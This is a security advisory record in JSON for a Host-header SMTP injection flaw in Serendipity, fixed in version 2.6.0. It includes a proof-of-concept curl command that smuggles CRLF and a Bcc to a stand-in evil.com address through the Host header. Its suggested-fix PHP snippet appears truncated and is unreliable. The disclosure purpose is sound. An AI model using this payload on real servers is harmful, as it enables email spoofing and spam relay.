{"id":"GHSA-458g-q4fh-mj6r","summary":"Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header","details":"### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: \u003c' \n    . bin2hex(random_bytes(16)) \n    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled\n    . '\u003e';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false && strpos($d, \"\\n\") === false \n        && stripos($d, \"%0A\") === false && stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com\u003e\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: \u003cdeadbeef@attacker.com\u003e\nBcc: victim@evil.com\nX-Injected: \u003e\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```","aliases":["CVE-2026-39971"],"modified":"2026-05-05T16:00:57.024336Z","published":"2026-04-14T22:32:38Z","database_specific":{"nvd_published_at":"2026-04-15T04:17:39Z","cwe_ids":["CWE-113"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-14T22:32:38Z"},"references":[{"type":"WEB","url":"https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39971"},{"type":"PACKAGE","url":"https://github.com/s9y/Serendipity"},{"type":"WEB","url":"https://github.com/s9y/Serendipity/releases/tag/2.6.0"}],"affected":[{"package":{"name":"s9y/serendipity","ecosystem":"Packagist","purl":"pkg:composer/s9y/serendipity"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1-beta1","2.1-beta2","2.1-beta3","2.1-rc1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.2.1-alpha1","2.3-beta1","2.3-rc1","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5","2.4-beta1","2.4.0","2.5-beta1","2.5.0","2.6-beta1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-458g-q4fh-mj6r/GHSA-458g-q4fh-mj6r.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}